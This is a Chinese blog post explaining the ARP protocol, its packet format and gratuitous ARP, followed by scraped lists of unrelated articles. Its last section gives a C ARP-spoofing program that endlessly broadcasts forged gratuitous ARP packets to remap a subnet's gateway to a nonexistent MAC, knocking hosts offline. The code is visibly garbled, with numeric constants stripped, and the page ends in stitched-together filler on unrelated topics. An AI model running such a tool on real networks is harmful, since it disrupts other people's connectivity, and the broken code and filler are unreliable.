0. 前言

  本章主要简单的介绍ARP的协议格式,主机如何发送和处理ARP报文,以及免费ARP。

1. ARP协议原理

  ARP,全称Address Resolution Protocol,地址解析协议,在网络中,有IP地址和MAC地址,在链路层发送报文时使用的是MAC硬件地址,这时需要将IP地址转换为48bit MAC地址,这就会使用到ARP协议。

  如下,有两台主机,239主机ping向238主机。当本地ARP缓存中没有238主机对应的项时,会发起ARP广播请求,之后使用arp命令查看ARP缓存,可以看到238主机对应的MAC,

  在linux下使用tcpdump工具查看底层数据流可以得知:

其序列图以及ARP缓存如下:

在239主机查看arp缓存结果:

2. ARP协议格式

  下图为ARP协议报文的格式信息(图百度得来),这里如上例子,发送的ARP请求报文中,以太网源地址即为239主机,而以太网目的地址则为ff:ff:ff:ff:ff:ff,发送端以太网地址和IP地址为239主机,目的以太网地址为全0,目的IP地址为172.16.17.238

3. 免费ARP

  gratuitous ARP,主机发送查找自己的ARP地址,即主机发送的目的IP地址和发送端IP地址均为为自身,并且以太网源地址和目的以太网地址,发送端以太网地址均为自身的MAC地址,而以太网首部的以太网目的地址则为广播ff:ff:ff:ff:ff:ff。

  这样子有两个作用,一个是查找是否有IP重复,二是更改同一网段下的主机ARP缓存对应的MAC地址。

  对于作用二,有几个用途,可以被用作主备切换,即主机和备机共用一个VIP(Virtual IP),当在其它服务器ARP缓存中保存一个映射,VIP -> 主机MAC,当备机检测到主机宕机后,则发送免费ARP,更新其他服务器ARP缓存,形成VIP -> 备机MAC映射,这样就完成了简单的灾备。

  例外一个之一用途就是ARP欺骗,数据窃听等。

4. ARP欺骗

  原理是利用ARP来实现。可以利用为攻击主机或者路由器等,使得其不能上网之类的,网络执法官原理就是这样。下面的程序实现了一个简单的免费ARP,更改同一网段(172.16.17.*)下主机ARP缓存中网关的映射,将其缓存映射为一个不存在的MAC地址。

  下面程序使用C实现,利用socket创建AF_PACKET来类型的套接字来直接操作链路层数据。已在公司的内部网络中测试过。

#include <sys/socket.h>
#include <sys/types.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <linux/if_ether.h>
#include <string.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <assert.h>
#include <stdio.h>
#include <net/if.h>
#include <errno.h> #define HARD_TYPE_ETHER 0x01 //硬件类型
#define PROTOCOL_IP 0x01 //IP协议类型
#define MAC_ADDR_LEN 0x06 //硬件地址长度
#define IP_ADDR_LEN 0x04 //IP地址长度 #define ARP_OP_REQUEST 0x01 //ARP请求操作
#define ARP_OP_RESPONSE 0x02 //ARP响应操作 //ARP报文
typedef struct arpPkg
{
unsigned short sHardType; //硬件类型
unsigned short sProtocolType; //协议类型
unsigned char cHardAddrLen; //硬件地址长度
unsigned char cIpAddrLen; //映射的协议地址长度
unsigned short sOpType; //操作类型 unsigned char aSendMac[]; //发送者MAC地址
unsigned char aSendIP[]; //发送者IP地址
unsigned char aDstMac[]; //目的地MAC地址
unsigned char aDstIP[]; //目的地IP地址
} ArpPkg; //将本机字节序转换为网络字节序
//并返回偏移长度
int HostToNetByte(char *pNet, unsigned char *aHostByte, int nLen)
{
int i, j;
for (i = nLen - , j = ; i >= ; --i, j++)
{
pNet[j] = aHostByte[i];
} return j;
} static int GetHex( char cAsc )
{
if ( isdigit( cAsc ) )
return cAsc - ''; if ( isalpha( cAsc ) )
cAsc = tolower( cAsc ) - 'a'; return cAsc + ;
} //将Asc转换为Hex
int AscToHex( const char *pAsc, char *pHex, int *pHexLen )
{
int i, nHexLen;
int nAscLen = strlen( pAsc ); for ( i = , nHexLen = ; i < nAscLen; i += )
{
pHex[nHexLen++] = (GetHex( pAsc[i] ) << ) | (GetHex( pAsc[i + ] ) & 0xF); //高字节 | 低字节
}
*pHexLen = nHexLen; return ;
} //字符串转为HEX后再转为网络字节序
int AscToNetByte(char *pAsc, unsigned char *pNetByte)
{
unsigned char aHostByte[];
int nHostByteLen = sizeof(aHostByte);
AscToHex(pAsc, (char *)aHostByte, &nHostByteLen); return HostToNetByte(pNetByte, aHostByte, nHostByteLen);
} //组Arp报文,并返回报文长度
int BuildArpPkg(ArpPkg * pArpPkg, char *pPkg)
{
int nPos = ; nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sHardType, );
nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sProtocolType, );
pPkg[nPos++] = pArpPkg->cHardAddrLen;
pPkg[nPos++] = pArpPkg->cIpAddrLen;
nPos += HostToNetByte(pPkg + nPos, (char*)&pArpPkg->sOpType, );
nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendMac, );
nPos += HostToNetByte(pPkg + nPos, pArpPkg->aSendIP, );
nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstMac, );
nPos += HostToNetByte(pPkg + nPos, pArpPkg->aDstIP, ); return nPos;
} //初始化ARP公共信息
static void InitArpCommField(ArpPkg * pArpPkg, int nOpType)
{
pArpPkg->sHardType = HARD_TYPE_ETHER; //以太网类型
pArpPkg->sProtocolType = ETH_P_IP; //IP数据包协议
pArpPkg->cHardAddrLen = MAC_ADDR_LEN;
pArpPkg->cIpAddrLen = IP_ADDR_LEN;
pArpPkg->sOpType = nOpType;
} //组ARP请求报文
int BuildArpRequest(unsigned char *pPkg, char *pSendMacStr, char *pSendIpStr, char *pDstMacStr, char *pDstIpStr)
{
ArpPkg stArpPkg;
memset(&stArpPkg, , sizeof(ArpPkg)); InitArpCommField(&stArpPkg, ARP_OP_REQUEST); AscToNetByte(pSendMacStr, stArpPkg.aSendMac);
AscToNetByte(pSendIpStr, stArpPkg.aSendIP);
AscToNetByte(pDstMacStr, stArpPkg.aDstMac);
AscToNetByte(pDstIpStr, stArpPkg.aDstIP); return BuildArpPkg(&stArpPkg, pPkg);
} int main(int argc, char const *argv[])
{
char *pMac = "ffffffffffff"; //目的MAC 广播
char *pDstIP = "AC1011FE"; //目的IP 172.16.17.254
char *pTrickMac = ""; //伪装的MAC
char *pTrickIP = "AC1011FE"; //伪装的IP,172.16.17.254
unsigned char aMacByte[];
int nFd = socket(AF_PACKET, SOCK_DGRAM, ); //初始化链路地址信息
struct sockaddr_ll sockaddr;
memset(&sockaddr, , sizeof(struct sockaddr_ll));
sockaddr.sll_family = htons(AF_PACKET);
sockaddr.sll_protocol = htons(ETH_P_ARP);
sockaddr.sll_halen = htons();
AscToNetByte(pTrickMac, aMacByte);
memcpy(sockaddr.sll_addr, aMacByte, );
sockaddr.sll_ifindex = IFF_BROADCAST; //广播 //创建免费ARP请求报文
unsigned char aPkg[] = {};
int nPkgLen = BuildArpRequest(aPkg, pTrickMac, pTrickIP, pMac, pDstIP); //不间断发送ARP请求
while ()
{
int nRet = sendto(nFd, aPkg, nPkgLen, , (struct sockaddr *)&sockaddr, sizeof(sockaddr));
if (nRet == -)
{
perror("Error");
exit(-);
}
usleep();
} close(nFd);
return ;
}

  

浅谈ARP协议以及应用的更多相关文章

  1. 【转】 浅谈Radius协议

    浅谈Radius协议 2013-12-03 16:06 5791人阅读 评论(0) 收藏 举报  分类: Radius协议分析(6)  从事Radius协议开发有段时间了,小弟不怕才疏学浅,卖弄一下, ...

  2. 转:浅谈Radius协议 -来自CSDN:http://blog.csdn.net/wangpengqi/article/details/17097221

    浅谈Radius协议 2013-12-03 16:06 5791人阅读 评论(0) 收藏 举报  分类: Radius协议分析(6)  从事Radius协议开发有段时间了,小弟不怕才疏学浅,卖弄一下, ...

  3. 浅谈HTTP协议(下)

    下面来讲响应消息.响应消息也分为响应起始行.响应头部.CRLF.响应主体. 响应起始行包括协议版本.响应状态码.原因短句.这里的重点就是响应状态码,它一共分为5类,状态码准确的说是一个三位数. 1xx ...

  4. 浅谈HTTP协议(上)

    今天讨论一下HTTP协议.一个做前端的,如果连HTTP协议都不了解,那实在是太不合格了. 首先,什么是HTTP?Hyper Text Transfer Protocol(超文本传输协议),用在浏览器和 ...

  5. 从日常开发说起,浅谈HTTP协议是做什么的。

    引言 HTTP协议作为Web开发的基础一直被大多数人所熟知,不过相信有很多人只知其一不知其二.比如咱们经常用到的session会话机制是如何实现的,可能很多人都说不出来吧.其实session会话就是H ...

  6. 通过Java代码浅谈HTTP协议

    最近刚看了http协议,想写点东西加深一下理解,如果哪儿写错了,请指正. 1 介绍 HTTP是Hyper Text Transfer Protocol(超文本传输协议)的缩写.它的发展是万维网协会(W ...

  7. 浅谈HTTP协议

    1 HTTP概念 把握三个点: 1 HTTP协议(超文本传输协议) HTTP是一个基于TCP/IP通信协议来传递数据,默认端口80 2 HTTP是无连接(限制每次连接只处理一个请求),无状态的(对于事 ...

  8. 浅谈HTTP协议与TCP协议

    HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送议. 主要特点 ...

  9. 浅谈Http协议是怎么回事?

    老实说关于http协议这个概念,见到最多的还是各类招聘信息.在平时的工作中,除了了解一些请求,响应,请求头这些概念外,对于http协议也没有太多的关心.因为貌似对平时的工作没有什么影响,所以在写这篇关 ...

随机推荐

  1. [Java入门笔记] 面向对象三大特征之:继承

    理解什么是继承 首先我们知道,面对对象有三大特征: 封装:解决了数据的安全性问题 继承:解决了代码的重用问题 多态:解决了程序的扩展问题 上一篇博客中,我们了解了一下封装,现在我了再来看看什么是继承. ...

  2. DB监控-Riak集群监控

    公司的Riak版本是2.0.4,目前已根据CMDB三级业务部署了十几套集群,大部分是跨机房部署.监控采集分为两个大的维度,第一个维度是单机,也就是 「IP:端口」:第二个维度是集群,也就是所有节点指标 ...

  3. beautifulSoup(1)

    import re from bs4 import BeautifulSoupdoc = ['<html><head><title>Page title</t ...

  4. 强大的DOM变化观察者MutationObserver

    在这之前 DOM3 提供了 Mutation events 事件 DOMAttrModified DOMAttributeNameChanged DOMCharacterDataModified DO ...

  5. mvn常用命令

    1. mvn compile 编译源代码 2. mvn test-compile 编译测试代码 3. mvn test 运行测试 4. mvn package 打包,根据pom.xml打成war或ja ...

  6. shell中export理解误区

    一直以来,以为shell脚本中经过export后的变量会影响到执行这个shell的终端中的环境变量.环境变量这个概念不是shell所独有的,而是linux里面进程所拥有的,shell解释器运行起来就是 ...

  7. django url路径与模板中样式相对路径的问题

    static目录下有css和js及image等文件夹,里面放置网站的一些静态文件,static位于网站根目录下,django中配置静态文件这个就细说,网上都有,昨天在添加新内容时发现一个问题,我的ur ...

  8. Python的列表推导式,字典推导式,集合推导式使用方法

    推导式分为列表推导式(list),字典推导式(dict),集合推导式(set)三种 1.列表推导式也叫列表解析式.功能:是提供一种方便的列表创建方法,所以,列表解析式返回的是一个列表格式:用中括号括起 ...

  9. Linux 进程间通讯详解七

    上图的一台主机服务器架构的重大缺陷是容易死锁 因为客户端,服务器都往同一消息队列中发送接收消息,假设消息队列已经满了,此时客户端无法向队列中发送消息,阻塞了,而服务器接收完一条消息后,想向消息队列发送 ...

  10. moosefs的安装使用及遇到的问题

     一.获取源码安装包 到官网下载最新版本moosefs: https://moosefs.com/download/sources-archive-3-0.html到官网下载最新版本fuse源码 ht ...